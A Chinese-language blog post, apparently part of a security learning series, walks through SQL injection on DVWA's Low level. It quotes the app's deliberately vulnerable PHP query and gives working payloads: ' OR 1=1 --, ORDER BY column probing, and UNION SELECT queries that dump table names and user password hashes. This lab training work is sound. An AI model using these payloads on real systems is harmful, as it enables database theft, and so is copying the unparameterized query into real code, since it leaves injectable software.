iT邦幫忙

2023 iThome 鐵人賽

DAY 27
0

今天帶來的是 SQL Injection 的 DVWA 實作

Low

注入判斷

到 Low level 這裡你會先看到這樣的畫面

https://ithelp.ithome.com.tw/upload/images/20231012/201627759zjnkLRSB2.png

我們輸入 1 看看

我們發現他會顯示 id 為 1 的使用者

https://ithelp.ithome.com.tw/upload/images/20231012/20162775lcqOKJmSND.png

那如果我今天輸入的是 1' 呢?

可以發現 SQL 報錯了

所以我們可以假設原本的 SQL 語句中應該含有 ',才會導致 SQL 報錯

於是我們猜測我們的 id 在連接 SQL 字串時是被單引號 '包起來的

那我們可以把後面的文字註解掉,輸入 ' OR 1=1 --

我們就可以看到所有的First name跟 Surname了

https://ithelp.ithome.com.tw/upload/images/20231012/20162775d6OW72QQwO.png

我們可以來分析一下 source code

 <?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;

            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);

            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }

            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}

?>

裡面可以看到我們輸入的 id 是被帶入到這條 SQL 裡面的

SELECT first_name, last_name FROM users WHERE user_id = '$id';

所以當我們輸入 ' OR 1=1 -- ,SQL 會變成

SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 -- ';

因為 1=1 永遠是 true,所以全部的First name跟 Surname才會都顯示出來

欄位判斷

我們可以透過 ORDER BYUNION SECECT 來判斷 users 這張資料表有多少欄位

ORDER BY : 依照第幾個欄位進行排序

從 1 開始猜,報錯就是沒有那個欄位

因為已經確定有兩個欄位了,所以從 2 開始猜

輸入 1' ORDER BY 2--

https://ithelp.ithome.com.tw/upload/images/20231012/20162775CN3wRz9rqc.png

輸入 1' ORDER BY 3--

發現報錯了,所以 users 只有兩個欄位

而知道只有兩個欄位,我們就可以透過 UNION 來做一些其他的事情了!

UNION : 組合兩個查詢結果,結果的欄位數需要一樣

也可以透過 UNION 來猜有幾欄

獲取資料庫名稱

' UNION SELECT 1,database() FROM information_schema.SCHEMATA--

https://ithelp.ithome.com.tw/upload/images/20231012/20162775EtU2imolZs.png

獲取資料表名稱

' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa' --

https://ithelp.ithome.com.tw/upload/images/20231012/20162775HfP3tTWSvR.png

獲取欄位名稱

' UNION SELECT 1,column_name from information_schema.columns WHERE table_schema='dvwa' AND table_name='users' --

https://ithelp.ithome.com.tw/upload/images/20231012/20162775WvLE0x3UvQ.png

獲取資料

' UNION SELECT 1,group_concat(user," ",password) from users --

用空格把資料分開,避免分不清

https://ithelp.ithome.com.tw/upload/images/20231012/20162775PyzR3TvxWD.png

剩下的明天繼續


上一篇
Day 26 SQL Injection (一)
下一篇
Day 28 SQL Injection (三)
系列文
學分的追逐,資安的啟程30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言